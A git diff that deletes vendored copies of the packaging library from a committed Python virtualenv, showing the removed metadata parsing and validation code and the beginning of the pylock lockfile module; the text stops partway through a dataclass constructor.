-        # The way the email module works when parsing bytes is that it
-        # unconditionally decodes the bytes as ascii using the surrogateescape
-        # handler. When you pull that data back out (such as with get_all() ),
-        # it looks to see if the str has any surrogate escapes, and if it does
-        # it wraps it in a Header object instead of returning the string.
-        #
-        # As such, we'll look for those Header objects, and fix up the encoding.
-        value = []
-        # Flag if we have run into any issues processing the headers, thus
-        # signalling that the data belongs in 'unparsed'.
-        valid_encoding = True
-        for h in headers:
-            # It's unclear if this can return more types than just a Header or
-            # a str, so we'll just assert here to make sure.
-            assert isinstance(h, (email.header.Header, str))
-
-            # If it's a header object, we need to do our little dance to get
-            # the real data out of it. In cases where there is invalid data
-            # we're going to end up with mojibake, but there's no obvious, good
-            # way around that without reimplementing parts of the Header object
-            # ourselves.
-            #
-            # That should be fine since, if mojibacked happens, this key is
-            # going into the unparsed dict anyways.
-            if isinstance(h, email.header.Header):
-                # The Header object stores it's data as chunks, and each chunk
-                # can be independently encoded, so we'll need to check each
-                # of them.
-                chunks: list[tuple[bytes, str | None]] = []
-                for binary, _encoding in email.header.decode_header(h):
-                    try:
-                        binary.decode("utf8", "strict")
-                    except UnicodeDecodeError:
-                        # Enable mojibake.
-                        encoding = "latin1"
-                        valid_encoding = False
-                    else:
-                        encoding = "utf8"
-                    chunks.append((binary, encoding))
-
-                # Turn our chunks back into a Header object, then let that
-                # Header object do the right thing to turn them into a
-                # string for us.
-                value.append(str(email.header.make_header(chunks)))
-            # This is already a string, so just add it.
-            else:
-                value.append(h)
-
-        # We've processed all of our values to get them into a list of str,
-        # but we may have mojibake data, in which case this is an unparsed
-        # field.
-        if not valid_encoding:
-            unparsed[name] = value
-            continue
-
-        raw_name = _EMAIL_TO_RAW_MAPPING.get(name)
-        if raw_name is None:
-            # This is a bit of a weird situation, we've encountered a key that
-            # we don't know what it means, so we don't know whether it's meant
-            # to be a list or not.
-            #
-            # Since we can't really tell one way or another, we'll just leave it
-            # as a list, even though it may be a single item list, because that's
-            # what makes the most sense for email headers.
-            unparsed[name] = value
-            continue
-
-        # If this is one of our string fields, then we'll check to see if our
-        # value is a list of a single item. If it is then we'll assume that
-        # it was emitted as a single string, and unwrap the str from inside
-        # the list.
-        #
-        # If it's any other kind of data, then we haven't the faintest clue
-        # what we should parse it as, and we have to just add it to our list
-        # of unparsed stuff.
-        if raw_name in _STRING_FIELDS and len(value) == 1:
-            raw[raw_name] = value[0]
-        # If this is import_names, we need to special case the empty field
-        # case, which converts to an empty list instead of None. We can't let
-        # the empty case slip through, as it will fail validation.
-        elif raw_name == "import_names" and value == [""]:
-            raw[raw_name] = []
-        # If this is one of our list of string fields, then we can just assign
-        # the value, since email *only* has strings, and our get_all() call
-        # above ensures that this is a list.
-        elif raw_name in _LIST_FIELDS:
-            raw[raw_name] = value
-        # Special Case: Keywords
-        # The keywords field is implemented in the metadata spec as a str,
-        # but it conceptually is a list of strings, and is serialized using
-        # ", ".join(keywords), so we'll do some light data massaging to turn
-        # this into what it logically is.
-        elif raw_name == "keywords" and len(value) == 1:
-            raw[raw_name] = _parse_keywords(value[0])
-        # Special Case: Project-URL
-        # The project urls is implemented in the metadata spec as a list of
-        # specially-formatted strings that represent a key and a value, which
-        # is fundamentally a mapping, however the email format doesn't support
-        # mappings in a sane way, so it was crammed into a list of strings
-        # instead.
-        #
-        # We will do a little light data massaging to turn this into a map as
-        # it logically should be.
-        elif raw_name == "project_urls":
-            try:
-                raw[raw_name] = _parse_project_urls(value)
-            except KeyError:
-                unparsed[name] = value
-        # Nothing that we've done has managed to parse this, so it'll just
-        # throw it in our unparsable data and move on.
-        else:
-            unparsed[name] = value
-
-    # We need to support getting the Description from the message payload in
-    # addition to getting it from the the headers. This does mean, though, there
-    # is the possibility of it being set both ways, in which case we put both
-    # in 'unparsed' since we don't know which is right.
-    try:
-        payload = _get_payload(parsed, data)
-    except ValueError:
-        unparsed.setdefault("description", []).append(
-            parsed.get_payload(decode=isinstance(data, bytes))  # type: ignore[call-overload]
-        )
-    else:
-        if payload:
-            # Check to see if we've already got a description, if so then both
-            # it, and this body move to unparsable.
-            if "description" in raw:
-                description_header = cast("str", raw.pop("description"))
-                unparsed.setdefault("description", []).extend(
-                    [description_header, payload]
-                )
-            elif "description" in unparsed:
-                unparsed["description"].append(payload)
-            else:
-                raw["description"] = payload
-
-    # We need to cast our `raw` to a metadata, because a TypedDict only support
-    # literal key names, but we're computing our key names on purpose, but the
-    # way this function is implemented, our `TypedDict` can only have valid key
-    # names.
-    return cast("RawMetadata", raw), unparsed
-
-
-_NOT_FOUND = object()
-
-
-# Keep the two values in sync.
-_VALID_METADATA_VERSIONS = ["1.0", "1.1", "1.2", "2.1", "2.2", "2.3", "2.4", "2.5"]
-_MetadataVersion = Literal["1.0", "1.1", "1.2", "2.1", "2.2", "2.3", "2.4", "2.5"]
-
-_REQUIRED_ATTRS = frozenset(["metadata_version", "name", "version"])
-
-
-class _Validator(Generic[T]):
-    """Validate a metadata field.
-
-    All _process_*() methods correspond to a core metadata field. The method is
-    called with the field's raw value. If the raw value is valid it is returned
-    in its "enriched" form (e.g. ``version.Version`` for the ``Version`` field).
-    If the raw value is invalid, :exc:`InvalidMetadata` is raised (with a cause
-    as appropriate).
-    """
-
-    name: str
-    raw_name: str
-    added: _MetadataVersion
-
-    def __init__(
-        self,
-        *,
-        added: _MetadataVersion = "1.0",
-    ) -> None:
-        self.added = added
-
-    def __set_name__(self, _owner: Metadata, name: str) -> None:
-        self.name = name
-        self.raw_name = _RAW_TO_EMAIL_MAPPING[name]
-
-    def __get__(self, instance: Metadata, _owner: type[Metadata]) -> T:
-        # With Python 3.8, the caching can be replaced with functools.cached_property().
-        # No need to check the cache as attribute lookup will resolve into the
-        # instance's __dict__ before __get__ is called.
-        cache = instance.__dict__
-        value = instance._raw.get(self.name)
-
-        # To make the _process_* methods easier, we'll check if the value is None
-        # and if this field is NOT a required attribute, and if both of those
-        # things are true, we'll skip the the converter. This will mean that the
-        # converters never have to deal with the None union.
-        if self.name in _REQUIRED_ATTRS or value is not None:
-            try:
-                converter: Callable[[Any], T] = getattr(self, f"_process_{self.name}")
-            except AttributeError:
-                pass
-            else:
-                value = converter(value)
-
-        cache[self.name] = value
-        try:
-            del instance._raw[self.name]  # type: ignore[misc]
-        except KeyError:
-            pass
-
-        return cast("T", value)
-
-    def _invalid_metadata(
-        self, msg: str, cause: Exception | None = None
-    ) -> InvalidMetadata:
-        exc = InvalidMetadata(
-            self.raw_name, msg.format_map({"field": repr(self.raw_name)})
-        )
-        exc.__cause__ = cause
-        return exc
-
-    def _process_metadata_version(self, value: str) -> _MetadataVersion:
-        # Implicitly makes Metadata-Version required.
-        if value not in _VALID_METADATA_VERSIONS:
-            raise self._invalid_metadata(f"{value!r} is not a valid metadata version")
-        return cast("_MetadataVersion", value)
-
-    def _process_name(self, value: str) -> str:
-        if not value:
-            raise self._invalid_metadata("{field} is a required field")
-        # Validate the name as a side-effect.
-        try:
-            utils.canonicalize_name(value, validate=True)
-        except utils.InvalidName as exc:
-            raise self._invalid_metadata(
-                f"{value!r} is invalid for {{field}}", cause=exc
-            ) from exc
-        else:
-            return value
-
-    def _process_version(self, value: str) -> version_module.Version:
-        if not value:
-            raise self._invalid_metadata("{field} is a required field")
-        try:
-            return version_module.parse(value)
-        except version_module.InvalidVersion as exc:
-            raise self._invalid_metadata(
-                f"{value!r} is invalid for {{field}}", cause=exc
-            ) from exc
-
-    def _process_summary(self, value: str) -> str:
-        """Check the field contains no newlines."""
-        if "\n" in value:
-            raise self._invalid_metadata("{field} must be a single line")
-        return value
-
-    def _process_description_content_type(self, value: str) -> str:
-        content_types = {"text/plain", "text/x-rst", "text/markdown"}
-        message = email.message.EmailMessage()
-        message["content-type"] = value
-
-        content_type, parameters = (
-            # Defaults to `text/plain` if parsing failed.
-            message.get_content_type().lower(),
-            message["content-type"].params,
-        )
-        # Check if content-type is valid or defaulted to `text/plain` and thus was
-        # not parseable.
-        if content_type not in content_types or content_type not in value.lower():
-            raise self._invalid_metadata(
-                f"{{field}} must be one of {list(content_types)}, not {value!r}"
-            )
-
-        charset = parameters.get("charset", "UTF-8")
-        if charset != "UTF-8":
-            raise self._invalid_metadata(
-                f"{{field}} can only specify the UTF-8 charset, not {charset!r}"
-            )
-
-        markdown_variants = {"GFM", "CommonMark"}
-        variant = parameters.get("variant", "GFM")  # Use an acceptable default.
-        if content_type == "text/markdown" and variant not in markdown_variants:
-            raise self._invalid_metadata(
-                f"valid Markdown variants for {{field}} are {list(markdown_variants)}, "
-                f"not {variant!r}",
-            )
-        return value
-
-    def _process_dynamic(self, value: list[str]) -> list[str]:
-        for dynamic_field in map(str.lower, value):
-            if dynamic_field in {"name", "version", "metadata-version"}:
-                raise self._invalid_metadata(
-                    f"{dynamic_field!r} is not allowed as a dynamic field"
-                )
-            elif dynamic_field not in _EMAIL_TO_RAW_MAPPING:
-                raise self._invalid_metadata(
-                    f"{dynamic_field!r} is not a valid dynamic field"
-                )
-        return list(map(str.lower, value))
-
-    def _process_provides_extra(
-        self,
-        value: list[str],
-    ) -> list[utils.NormalizedName]:
-        normalized_names = []
-        try:
-            for name in value:
-                normalized_names.append(utils.canonicalize_name(name, validate=True))
-        except utils.InvalidName as exc:
-            raise self._invalid_metadata(
-                f"{name!r} is invalid for {{field}}", cause=exc
-            ) from exc
-        else:
-            return normalized_names
-
-    def _process_requires_python(self, value: str) -> specifiers.SpecifierSet:
-        try:
-            return specifiers.SpecifierSet(value)
-        except specifiers.InvalidSpecifier as exc:
-            raise self._invalid_metadata(
-                f"{value!r} is invalid for {{field}}", cause=exc
-            ) from exc
-
-    def _process_requires_dist(
-        self,
-        value: list[str],
-    ) -> list[requirements.Requirement]:
-        reqs = []
-        try:
-            for req in value:
-                reqs.append(requirements.Requirement(req))
-        except requirements.InvalidRequirement as exc:
-            raise self._invalid_metadata(
-                f"{req!r} is invalid for {{field}}", cause=exc
-            ) from exc
-        else:
-            return reqs
-
-    def _process_license_expression(self, value: str) -> NormalizedLicenseExpression:
-        try:
-            return licenses.canonicalize_license_expression(value)
-        except ValueError as exc:
-            raise self._invalid_metadata(
-                f"{value!r} is invalid for {{field}}", cause=exc
-            ) from exc
-
-    def _process_license_files(self, value: list[str]) -> list[str]:
-        paths = []
-        for path in value:
-            if ".." in path:
-                raise self._invalid_metadata(
-                    f"{path!r} is invalid for {{field}}, "
-                    "parent directory indicators are not allowed"
-                )
-            if "*" in path:
-                raise self._invalid_metadata(
-                    f"{path!r} is invalid for {{field}}, paths must be resolved"
-                )
-            if (
-                pathlib.PurePosixPath(path).is_absolute()
-                or pathlib.PureWindowsPath(path).is_absolute()
-            ):
-                raise self._invalid_metadata(
-                    f"{path!r} is invalid for {{field}}, paths must be relative"
-                )
-            if pathlib.PureWindowsPath(path).as_posix() != path:
-                raise self._invalid_metadata(
-                    f"{path!r} is invalid for {{field}}, paths must use '/' delimiter"
-                )
-            paths.append(path)
-        return paths
-
-    def _process_import_names(self, value: list[str]) -> list[str]:
-        for import_name in value:
-            name, semicolon, private = import_name.partition(";")
-            name = name.rstrip()
-            for identifier in name.split("."):
-                if not identifier.isidentifier():
-                    raise self._invalid_metadata(
-                        f"{name!r} is invalid for {{field}}; "
-                        f"{identifier!r} is not a valid identifier"
-                    )
-                elif keyword.iskeyword(identifier):
-                    raise self._invalid_metadata(
-                        f"{name!r} is invalid for {{field}}; "
-                        f"{identifier!r} is a keyword"
-                    )
-            if semicolon and private.lstrip() != "private":
-                raise self._invalid_metadata(
-                    f"{import_name!r} is invalid for {{field}}; "
-                    "the only valid option is 'private'"
-                )
-        return value
-
-    _process_import_namespaces = _process_import_names
-
-
-class Metadata:
-    """Representation of distribution metadata.
-
-    Compared to :class:`RawMetadata`, this class provides objects representing
-    metadata fields instead of only using built-in types. Any invalid metadata
-    will cause :exc:`InvalidMetadata` to be raised (with a
-    :py:attr:`~BaseException.__cause__` attribute as appropriate).
-    """
-
-    _raw: RawMetadata
-
-    @classmethod
-    def from_raw(cls, data: RawMetadata, *, validate: bool = True) -> Metadata:
-        """Create an instance from :class:`RawMetadata`.
-
-        If *validate* is true, all metadata will be validated. All exceptions
-        related to validation will be gathered and raised as an :class:`ExceptionGroup`.
-        """
-        ins = cls()
-        ins._raw = data.copy()  # Mutations occur due to caching enriched values.
-
-        if validate:
-            collector = _ErrorCollector()
-            metadata_version = None
-            with collector.collect(InvalidMetadata):
-                metadata_version = ins.metadata_version
-                metadata_age = _VALID_METADATA_VERSIONS.index(metadata_version)
-
-            # Make sure to check for the fields that are present, the required
-            # fields (so their absence can be reported).
-            fields_to_check = frozenset(ins._raw) | _REQUIRED_ATTRS
-            # Remove fields that have already been checked.
-            fields_to_check -= {"metadata_version"}
-
-            for key in fields_to_check:
-                try:
-                    if metadata_version:
-                        # Can't use getattr() as that triggers descriptor protocol which
-                        # will fail due to no value for the instance argument.
-                        try:
-                            field_metadata_version = cls.__dict__[key].added
-                        except KeyError:
-                            exc = InvalidMetadata(key, f"unrecognized field: {key!r}")
-                            collector.error(exc)
-                            continue
-                        field_age = _VALID_METADATA_VERSIONS.index(
-                            field_metadata_version
-                        )
-                        if field_age > metadata_age:
-                            field = _RAW_TO_EMAIL_MAPPING[key]
-                            exc = InvalidMetadata(
-                                field,
-                                f"{field} introduced in metadata version "
-                                f"{field_metadata_version}, not {metadata_version}",
-                            )
-                            collector.error(exc)
-                            continue
-                    getattr(ins, key)
-                except InvalidMetadata as exc:
-                    collector.error(exc)
-
-            collector.finalize("invalid metadata")
-
-        return ins
-
-    @classmethod
-    def from_email(cls, data: bytes | str, *, validate: bool = True) -> Metadata:
-        """Parse metadata from email headers.
-
-        If *validate* is true, the metadata will be validated. All exceptions
-        related to validation will be gathered and raised as an :class:`ExceptionGroup`.
-        """
-        raw, unparsed = parse_email(data)
-
-        if validate:
-            with _ErrorCollector().on_exit("unparsed") as collector:
-                for unparsed_key in unparsed:
-                    if unparsed_key in _EMAIL_TO_RAW_MAPPING:
-                        message = f"{unparsed_key!r} has invalid data"
-                    else:
-                        message = f"unrecognized field: {unparsed_key!r}"
-                    collector.error(InvalidMetadata(unparsed_key, message))
-
-        try:
-            return cls.from_raw(raw, validate=validate)
-        except ExceptionGroup as exc_group:
-            raise ExceptionGroup(
-                "invalid or unparsed metadata", exc_group.exceptions
-            ) from None
-
-    metadata_version: _Validator[_MetadataVersion] = _Validator()
-    """:external:ref:`core-metadata-metadata-version`
-    (required; validated to be a valid metadata version)"""
-    # `name` is not normalized/typed to NormalizedName so as to provide access to
-    # the original/raw name.
-    name: _Validator[str] = _Validator()
-    """:external:ref:`core-metadata-name`
-    (required; validated using :func:`~packaging.utils.canonicalize_name` and its
-    *validate* parameter)"""
-    version: _Validator[version_module.Version] = _Validator()
-    """:external:ref:`core-metadata-version` (required)"""
-    dynamic: _Validator[list[str] | None] = _Validator(
-        added="2.2",
-    )
-    """:external:ref:`core-metadata-dynamic`
-    (validated against core metadata field names and lowercased)"""
-    platforms: _Validator[list[str] | None] = _Validator()
-    """:external:ref:`core-metadata-platform`"""
-    supported_platforms: _Validator[list[str] | None] = _Validator(added="1.1")
-    """:external:ref:`core-metadata-supported-platform`"""
-    summary: _Validator[str | None] = _Validator()
-    """:external:ref:`core-metadata-summary` (validated to contain no newlines)"""
-    description: _Validator[str | None] = _Validator()  # TODO 2.1: can be in body
-    """:external:ref:`core-metadata-description`"""
-    description_content_type: _Validator[str | None] = _Validator(added="2.1")
-    """:external:ref:`core-metadata-description-content-type` (validated)"""
-    keywords: _Validator[list[str] | None] = _Validator()
-    """:external:ref:`core-metadata-keywords`"""
-    home_page: _Validator[str | None] = _Validator()
-    """:external:ref:`core-metadata-home-page`"""
-    download_url: _Validator[str | None] = _Validator(added="1.1")
-    """:external:ref:`core-metadata-download-url`"""
-    author: _Validator[str | None] = _Validator()
-    """:external:ref:`core-metadata-author`"""
-    author_email: _Validator[str | None] = _Validator()
-    """:external:ref:`core-metadata-author-email`"""
-    maintainer: _Validator[str | None] = _Validator(added="1.2")
-    """:external:ref:`core-metadata-maintainer`"""
-    maintainer_email: _Validator[str | None] = _Validator(added="1.2")
-    """:external:ref:`core-metadata-maintainer-email`"""
-    license: _Validator[str | None] = _Validator()
-    """:external:ref:`core-metadata-license`"""
-    license_expression: _Validator[NormalizedLicenseExpression | None] = _Validator(
-        added="2.4"
-    )
-    """:external:ref:`core-metadata-license-expression`"""
-    license_files: _Validator[list[str] | None] = _Validator(added="2.4")
-    """:external:ref:`core-metadata-license-file`"""
-    classifiers: _Validator[list[str] | None] = _Validator(added="1.1")
-    """:external:ref:`core-metadata-classifier`"""
-    requires_dist: _Validator[list[requirements.Requirement] | None] = _Validator(
-        added="1.2"
-    )
-    """:external:ref:`core-metadata-requires-dist`"""
-    requires_python: _Validator[specifiers.SpecifierSet | None] = _Validator(
-        added="1.2"
-    )
-    """:external:ref:`core-metadata-requires-python`"""
-    # Because `Requires-External` allows for non-PEP 440 version specifiers, we
-    # don't do any processing on the values.
-    requires_external: _Validator[list[str] | None] = _Validator(added="1.2")
-    """:external:ref:`core-metadata-requires-external`"""
-    project_urls: _Validator[dict[str, str] | None] = _Validator(added="1.2")
-    """:external:ref:`core-metadata-project-url`"""
-    # PEP 685 lets us raise an error if an extra doesn't pass `Name` validation
-    # regardless of metadata version.
-    provides_extra: _Validator[list[utils.NormalizedName] | None] = _Validator(
-        added="2.1",
-    )
-    """:external:ref:`core-metadata-provides-extra`"""
-    provides_dist: _Validator[list[str] | None] = _Validator(added="1.2")
-    """:external:ref:`core-metadata-provides-dist`"""
-    obsoletes_dist: _Validator[list[str] | None] = _Validator(added="1.2")
-    """:external:ref:`core-metadata-obsoletes-dist`"""
-    import_names: _Validator[list[str] | None] = _Validator(added="2.5")
-    """:external:ref:`core-metadata-import-name`"""
-    import_namespaces: _Validator[list[str] | None] = _Validator(added="2.5")
-    """:external:ref:`core-metadata-import-namespace`"""
-    requires: _Validator[list[str] | None] = _Validator(added="1.1")
-    """``Requires`` (deprecated)"""
-    provides: _Validator[list[str] | None] = _Validator(added="1.1")
-    """``Provides`` (deprecated)"""
-    obsoletes: _Validator[list[str] | None] = _Validator(added="1.1")
-    """``Obsoletes`` (deprecated)"""
-
-    def as_rfc822(self) -> RFC822Message:
-        """
-        Return an RFC822 message with the metadata.
-        """
-        message = RFC822Message()
-        self._write_metadata(message)
-        return message
-
-    def _write_metadata(self, message: RFC822Message) -> None:
-        """
-        Return an RFC822 message with the metadata.
-        """
-        for name, validator in self.__class__.__dict__.items():
-            if isinstance(validator, _Validator) and name != "description":
-                value = getattr(self, name)
-                email_name = _RAW_TO_EMAIL_MAPPING[name]
-                if value is not None:
-                    if email_name == "project-url":
-                        for label, url in value.items():
-                            message[email_name] = f"{label}, {url}"
-                    elif email_name == "keywords":
-                        message[email_name] = ",".join(value)
-                    elif email_name == "import-name" and value == []:
-                        message[email_name] = ""
-                    elif isinstance(value, list):
-                        for item in value:
-                            message[email_name] = str(item)
-                    else:
-                        message[email_name] = str(value)
-
-        # The description is a special case because it is in the body of the message.
-        if self.description is not None:
-            message.set_payload(self.description)
diff --git a/venv/Lib/site-packages/pip/_vendor/packaging/py.typed b/venv/Lib/site-packages/pip/_vendor/packaging/py.typed
deleted file mode 100644
index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000
diff --git a/venv/Lib/site-packages/pip/_vendor/packaging/pylock.py b/venv/Lib/site-packages/pip/_vendor/packaging/pylock.py
deleted file mode 100644
index 84e25378fc6fa21d2d637dbcc6cd43c0dd2ad1d4..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/packaging/pylock.py
+++ /dev/null
@@ -1,905 +0,0 @@
-from __future__ import annotations
-
-import dataclasses
-import logging
-import re
-from collections.abc import Mapping, Sequence
-from dataclasses import dataclass
-from datetime import datetime
-from typing import (
-    TYPE_CHECKING,
-    Any,
-    Callable,
-    Protocol,
-    TypeVar,
-    cast,
-)
-from urllib.parse import urlparse
-
-from .markers import Environment, Marker, default_environment
-from .specifiers import SpecifierSet
-from .tags import create_compatible_tags_selector, sys_tags
-from .utils import (
-    NormalizedName,
-    is_normalized_name,
-    parse_sdist_filename,
-    parse_wheel_filename,
-)
-from .version import Version
-
-if TYPE_CHECKING:  # pragma: no cover
-    from collections.abc import Collection, Iterator
-    from pathlib import Path
-
-    from typing_extensions import Self
-
-    from .tags import Tag
-
-_logger = logging.getLogger(__name__)
-
-__all__ = [
-    "Package",
-    "PackageArchive",
-    "PackageDirectory",
-    "PackageSdist",
-    "PackageVcs",
-    "PackageWheel",
-    "Pylock",
-    "PylockUnsupportedVersionError",
-    "PylockValidationError",
-    "is_valid_pylock_path",
-]
-
-
-def __dir__() -> list[str]:
-    return __all__
-
-
-_T = TypeVar("_T")
-_T2 = TypeVar("_T2")
-
-
-class _FromMappingProtocol(Protocol):  # pragma: no cover
-    @classmethod
-    def _from_dict(cls, d: Mapping[str, Any]) -> Self: ...
-
-
-_FromMappingProtocolT = TypeVar("_FromMappingProtocolT", bound=_FromMappingProtocol)
-
-
-_PYLOCK_FILE_NAME_RE = re.compile(r"^pylock\.([^.]+)\.toml$")
-
-
-def is_valid_pylock_path(path: Path) -> bool:
-    """Check if the given path is a valid pylock file path."""
-    return path.name == "pylock.toml" or bool(_PYLOCK_FILE_NAME_RE.match(path.name))
-
-
-def _toml_key(key: str) -> str:
-    return key.replace("_", "-")
-
-
-def _toml_value(key: str, value: Any) -> Any:  # noqa: ANN401
-    if isinstance(value, (Version, Marker, SpecifierSet)):
-        return str(value)
-    if isinstance(value, Sequence) and key == "environments":
-        return [str(v) for v in value]
-    return value
-
-
-def _toml_dict_factory(data: list[tuple[str, Any]]) -> dict[str, Any]:
-    return {
-        _toml_key(key): _toml_value(key, value)
-        for key, value in data
-        if value is not None
-    }
-
-
-def _get(d: Mapping[str, Any], expected_type: type[_T], key: str) -> _T | None:
-    """Get a value from the dictionary and verify it's the expected type."""
-    if (value := d.get(key)) is None:
-        return None
-    if not isinstance(value, expected_type):
-        raise PylockValidationError(
-            f"Unexpected type {type(value).__name__} "
-            f"(expected {expected_type.__name__})",
-            context=key,
-        )
-    return value
-
-
-def _get_required(d: Mapping[str, Any], expected_type: type[_T], key: str) -> _T:
-    """Get a required value from the dictionary and verify it's the expected type."""
-    if (value := _get(d, expected_type, key)) is None:
-        raise _PylockRequiredKeyError(key)
-    return value
-
-
-def _get_sequence(
-    d: Mapping[str, Any], expected_item_type: type[_T], key: str
-) -> Sequence[_T] | None:
-    """Get a list value from the dictionary and verify it's the expected items type."""
-    if (value := _get(d, Sequence, key)) is None:  # type: ignore[type-abstract]
-        return None
-    if isinstance(value, (str, bytes)):
-        # special case: str and bytes are Sequences, but we want to reject it
-        raise PylockValidationError(
-            f"Unexpected type {type(value).__name__} (expected Sequence)",
-            context=key,
-        )
-    for i, item in enumerate(value):
-        if not isinstance(item, expected_item_type):
-            raise PylockValidationError(
-                f"Unexpected type {type(item).__name__} "
-                f"(expected {expected_item_type.__name__})",
-                context=f"{key}[{i}]",
-            )
-    return value
-
-
-def _get_as(
-    d: Mapping[str, Any],
-    expected_type: type[_T],
-    target_type: Callable[[_T], _T2],
-    key: str,
-) -> _T2 | None:
-    """Get a value from the dictionary, verify it's the expected type,
-    and convert to the target type.
-
-    This assumes the target_type constructor accepts the value.
-    """
-    if (value := _get(d, expected_type, key)) is None:
-        return None
-    try:
-        return target_type(value)
-    except Exception as e:
-        raise PylockValidationError(e, context=key) from e
-
-
-def _get_required_as(
-    d: Mapping[str, Any],
-    expected_type: type[_T],
-    target_type: Callable[[_T], _T2],
-    key: str,
-) -> _T2:
-    """Get a required value from the dict, verify it's the expected type,
-    and convert to the target type."""
-    if (value := _get_as(d, expected_type, target_type, key)) is None:
-        raise _PylockRequiredKeyError(key)
-    return value
-
-
-def _get_sequence_as(
-    d: Mapping[str, Any],
-    expected_item_type: type[_T],
-    target_item_type: Callable[[_T], _T2],
-    key: str,
-) -> list[_T2] | None:
-    """Get list value from dictionary and verify expected items type."""
-    if (value := _get_sequence(d, expected_item_type, key)) is None:
-        return None
-    result = []
-    try:
-        for item in value:
-            typed_item = target_item_type(item)
-            result.append(typed_item)
-    except Exception as e:
-        raise PylockValidationError(e, context=f"{key}[{len(result)}]") from e
-    return result
-
-
-def _get_object(
-    d: Mapping[str, Any], target_type: type[_FromMappingProtocolT], key: str
-) -> _FromMappingProtocolT | None:
-    """Get a dictionary value from the dictionary and convert it to a dataclass."""
-    if (value := _get(d, Mapping, key)) is None:  # type: ignore[type-abstract]
-        return None
-    try:
-        return target_type._from_dict(value)
-    except Exception as e:
-        raise PylockValidationError(e, context=key) from e
-
-
-def _get_sequence_of_objects(
-    d: Mapping[str, Any], target_item_type: type[_FromMappingProtocolT], key: str
-) -> list[_FromMappingProtocolT] | None:
-    """Get a list value from the dictionary and convert its items to a dataclass."""
-    if (value := _get_sequence(d, Mapping, key)) is None:  # type: ignore[type-abstract]
-        return None
-    result: list[_FromMappingProtocolT] = []
-    try:
-        for item in value:
-            typed_item = target_item_type._from_dict(item)
-            result.append(typed_item)
-    except Exception as e:
-        raise PylockValidationError(e, context=f"{key}[{len(result)}]") from e
-    return result
-
-
-def _get_required_sequence_of_objects(
-    d: Mapping[str, Any], target_item_type: type[_FromMappingProtocolT], key: str
-) -> Sequence[_FromMappingProtocolT]:
-    """Get a required list value from the dictionary and convert its items to a
-    dataclass."""
-    if (result := _get_sequence_of_objects(d, target_item_type, key)) is None:
-        raise _PylockRequiredKeyError(key)
-    return result
-
-
-def _validate_normalized_name(name: str) -> NormalizedName:
-    """Validate that a string is a NormalizedName."""
-    if not is_normalized_name(name):
-        raise PylockValidationError(f"Name {name!r} is not normalized")
-    return NormalizedName(name)
-
-
-def _validate_path_url(path: str | None, url: str | None) -> None:
-    if not path and not url:
-        raise PylockValidationError("path or url must be provided")
-
-
-def _path_name(path: str | None) -> str | None:
-    if not path:
-        return None
-    # If the path is relative it MAY use POSIX-style path separators explicitly
-    # for portability
-    if "/" in path:
-        return path.rsplit("/", 1)[-1]
-    elif "\\" in path:
-        return path.rsplit("\\", 1)[-1]
-    else:
-        return path
-
-
-def _url_name(url: str | None) -> str | None:
-    if not url:
-        return None
-    url_path = urlparse(url).path
-    return url_path.rsplit("/", 1)[-1]
-
-
-def _validate_hashes(hashes: Mapping[str, Any]) -> Mapping[str, Any]:
-    if not hashes:
-        raise PylockValidationError("At least one hash must be provided")
-    if not all(isinstance(hash_val, str) for hash_val in hashes.values()):
-        raise PylockValidationError("Hash values must be strings")
-    return hashes
-
-
-class PylockValidationError(Exception):
-    """Raised when when input data is not spec-compliant."""
-
-    context: str | None = None
-    message: str
-
-    def __init__(
-        self,
-        cause: str | Exception,
-        *,
-        context: str | None = None,
-    ) -> None:
-        if isinstance(cause, PylockValidationError):
-            if cause.context:
-                self.context = (
-                    f"{context}.{cause.context}" if context else cause.context
-                )
-            else:
-                self.context = context
-            self.message = cause.message
-        else:
-            self.context = context
-            self.message = str(cause)
-
-    def __str__(self) -> str:
-        if self.context:
-            return f"{self.message} in {self.context!r}"
-        return self.message
-
-
-class _PylockRequiredKeyError(PylockValidationError):
-    def __init__(self, key: str) -> None:
-        super().__init__("Missing required value", context=key)
-
-
-class PylockUnsupportedVersionError(PylockValidationError):
-    """Raised when encountering an unsupported `lock_version`."""
-
-
-class PylockSelectError(Exception):
-    """Base exception for errors raised by :meth:`Pylock.select`."""
-
-
-@dataclass(frozen=True, init=False)
-class PackageVcs:
-    type: str
-    url: str | None = None
-    path: str | None = None
-    requested_revision: str | None = None
-    commit_id: str  # type: ignore[misc]
-    subdirectory: str | None = None
-
-    def __init__(
-        self,
-        *,
-        type: str,
-        url: str | None = None,
-        path: str | None = None,
-        requested_revision: str | None = None,
-        commit_id: str,
-        subdirectory: str | None = None,
-    ) -> None:
-        # In Python 3.10+ make dataclass kw_only=True and remove __init__
-        object.__setattr__(self, "type", type)
-        object.__setattr__(self, "url", url)
-        object.__setattr__(self, "path", path)
-        object.__setattr__(self, "requested_revision", requested_revision)
-        object.__setattr__(self, "commit_id", commit_id)
-        object.__setattr__(self, "subdirectory", subdirectory)
-
-    @classmethod
-    def _from_dict(cls, d: Mapping[str, Any]) -> Self:
-        package_vcs = cls(
-            type=_get_required(d, str, "type"),
-            url=_get(d, str, "url"),
-            path=_get(d, str, "path"),
-            requested_revision=_get(d, str, "requested-revision"),
-            commit_id=_get_required(d, str, "commit-id"),
-            subdirectory=_get(d, str, "subdirectory"),
-        )
-        _validate_path_url(package_vcs.path, package_vcs.url)
-        return package_vcs
-
-
-@dataclass(frozen=True, init=False)
-class PackageDirectory:
-    path: str
-    editable: bool | None = None
-    subdirectory: str | None = None
-
-    def __init__(
-        self,
-        *,
-        path: str,
-        editable: bool | None = None,
-        subdirectory: str | None = None,
-    ) -> None:
-        # In Python 3.10+ make dataclass kw_only=True and remove __init__
-        object.__setattr__(self, "path", path)
-        object.__setattr__(self, "editable", editable)
-        object.__setattr__(self, "subdirectory", subdirectory)
-
-    @classmethod
-    def _from_dict(cls, d: Mapping[str, Any]) -> Self:
-        return cls(
-            path=_get_required(d, str, "path"),
-            editable=_get(d, bool, "editable"),
-            subdirectory=_get(d, str, "subdirectory"),
-        )
-
-
-@dataclass(frozen=True, init=False)
-class PackageArchive:
-    url: str | None = None
-    path: str | None = None
-    size: int | None = None
-    upload_time: datetime | None = None
-    hashes: Mapping[str, str]  # type: ignore[misc]
-    subdirectory: str | None = None
-
-    def __init__(
-        self,
-        *,
-        url: str | None = None,
-        path: str | None = None,
-        size: int | None = None,
-        upload_time: datetime | None = None,
-        hashes: Mapping[str, str],
-        subdirectory: str | None = None,
